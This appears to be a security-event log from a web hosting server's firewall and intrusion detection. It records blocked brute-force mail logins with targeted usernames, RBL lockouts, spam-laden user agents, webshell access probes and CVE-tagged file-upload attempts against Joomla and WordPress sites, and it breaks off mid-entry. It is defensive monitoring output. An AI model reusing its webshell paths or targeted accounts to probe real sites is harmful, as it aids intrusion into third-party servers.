IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://cafe20.ru/\">\xd0\xba\xd0\xb5\xd0\xb9\xd1\x82\xd0\xb5\xd1\x80\xd0\xb8\xd0\xbd\xd0\xb3 \xd0\xbd\xd0\xb0 \xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd0\xb7 \xd1\x81 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd0\xb0\xd0\xb2\xd0\xba\xd0\xbe\xd0\xb9 \xd1\x80\xd1\x8f\xd0\xb7\xd0\xb0\xd0\xbd\xd1\x8c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacservice1.info\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-23 19:49:17 dovecot_login authenticator failed for H=([118.48.136.184]) [182.95.119.30]:49734: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.203.209.33
country_id: 226074
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88424.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd06c08826e9cdf9edd9764bbe3de3375683d7d9||Title:0x5b1e7ebe||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 19:52:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 19:52:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://emergencyhvacrepair3.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.225.82.197
country_id: 2464461
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
country_id: 6252001
description:
Jul 23 19:57:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-23 19:57:53 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([70.166.167.44]) [76.132.238.43]:46346: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.123.219.137
country_id: 1835841
description:
Jul 23 19:58:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.123.219.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-07-23 19:58:10 dovecot_login authenticator failed for H=([110.172.147.190]) [203.123.219.137]:42480: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.157.252.162
country_id: 2260494
description:
Jul 23 19:58:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.157.252.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.27.139
country_id: 6252001
description:
Jul 23 19:58:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.27.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-23 19:58:34 dovecot_login authenticator failed for H=(mail.tataidc.com) [197.157.252.162]:45830: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-23 19:58:34 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([90.230.115.5]) [71.235.27.139]:44936: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.39.147
country_id: 1269750
description:
Jul 23 20:02:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.39.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-23 20:02:24 dovecot_login authenticator failed for H=([125.88.160.13]) [103.171.39.147]:36332: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 20:04:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.22.17
country_id: 2635167
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/robots.txt HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.225.221
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.36.76
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/sitemap_index.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.52.165
country_id: 2635167
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.50.5
country_id: 2635167
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/news-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.247.185
country_id: 2510769
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.5.251
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.6.62
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.1.34
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/sitemap_index.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.163.58
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.59.118
country_id: 6251999
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 20:14:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 20:14:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacemergencyservice2.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.9.71
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wireless-presentation-solutions HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 38.47.191.134
country_id: 1880251
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-84d84b6c.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.43.243.158
country_id: 6252001
description:
Jul 23 20:23:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.43.243.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-23 20:23:51 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([1.223.110.187]) [67.43.243.158]:34582: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 51.120.70.186
country_id: 3144096
domain: cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/cochinbigbandsho/public_html/wp-includes||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.126.185
country_id: 337996
description:
Jul 23 20:23:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.126.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-23 20:23:19 dovecot_login authenticator failed for H=([36.134.178.245]) [196.189.126.185]:56758: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 185.220.236.62
country_id: 1668284
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:logins-1f92a38086bbe202184cb59a74fb31cf.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 20:26:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.221.227.47
country_id: 2077456
description:
Jul 23 20:29:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.221.227.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.227.47
country_id: 2077456
description:
2026-07-23 20:29:07 dovecot_login authenticator failed for H=([65.20.134.97]) [203.221.227.47]:41070: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.105.141.172
country_id: 3923057
description:
Jul 23 20:34:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.105.141.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-23 20:34:19 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([111.3.47.217]) [200.105.141.172]:44294: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 20:35:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.142.244
country_id: 3658394
description:
[2026-07-23 20:37:18 +0530] info [whostmgrd] 157.100.142.244 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 20:38:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 205.250.25.62
country_id: 6251999
description:
Jul 23 20:45:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 205.250.25.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-23 20:45:10 dovecot_login authenticator failed for H=(ccabv.org.cta.gvt.net.br) [205.250.25.62]:52490: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.239.131.5
country_id: 2077456
description:
Jul 23 20:45:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.239.131.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.239.131.5
country_id: 2077456
description:
2026-07-23 20:45:50 dovecot_login authenticator failed for H=182-239-131-5.tpgi.com.au ([62.91.108.146]) [182.239.131.5]:34221: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.114
country_id: 1269750
description:
Jul 23 20:46:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-23 20:46:14 dovecot_login authenticator failed for H=([182.78.199.185]) [117.252.93.114]:48472: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.201.76.203
country_id: 1269750
description:
Jul 23 20:46:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.201.76.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-23 20:46:42 dovecot_login authenticator failed for H=(24-117-49-44.cpe.sparklight.net) [106.201.76.203]:50495: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 20:49:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.213.208.20
country_id: 3175395
domain: combinations.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/combinations/public_html/wp-includes||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 20:57:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 21:02:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 21:11:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.52.100.148
country_id: 3439705
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 21:19:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.49
country_id: 1668284
description:
Jul 23 21:22:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-23 21:22:41 dovecot_login authenticator failed for H=([14.102.101.248]) [101.13.5.49]:46466: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.164.167.77
country_id: 6252001
domain: www.combinations.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 21:25:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 158.51.126.144
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:158.51.126.144||TA:158.51.126.144||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 23 21:27:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-23 21:27:23 dovecot_login authenticator failed for H=([162.212.13.76]) [41.207.248.138]:39861: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.129.127.204
country_id: 1835841
description:
Jul 23 21:27:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.129.127.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.129.127.204
country_id: 1835841
description:
2026-07-23 21:27:45 dovecot_login authenticator failed for H=([196.191.142.67]) [125.129.127.204]:43936: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.143.237.72
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 21:33:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.162.111.205
country_id: 1835841
description:
Jul 23 21:33:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.162.111.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-23 21:33:25 dovecot_login authenticator failed for H=([41.215.146.195]) [112.162.111.205]:35729: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.52.54.143
country_id: 2921044
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.67.106.221
country_id: 3686110
description:
Jul 23 21:37:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.67.106.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-23 21:37:37 dovecot_login authenticator failed for H=([110.77.150.25]) [190.67.106.221]:41818: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.52.54.143
country_id: 2921044
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-includes/images/smilies/about.php||SC:/home/ddgalaxy/public_html/wp-includes||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 20.118.34.228
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/zskxuxeo/fonts/pgfjeqhc.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 21:40:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/travelinbh/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/alnay/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.186.56.173
country_id: 298795
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38985.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:70052d66259aa324d5af4b1b8018ab6598e06d07||Title:0xa4a2c417||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/vrishenterprises/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/yukticlick/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 71.191.90.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://tcgrain.com/markets/stocks.php?article=getnews-2026-7-1-pvacodescom-expands-sms-verification-service-with-pricing-from-001\">receive text online with PVACodes</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: sriganapathyent.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/vrishenterprises/sriganapathyent.in/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 21:49:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/metrodigitals/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 21:56:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/ogocindia/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.51.52.111
country_id: 1605651
description:
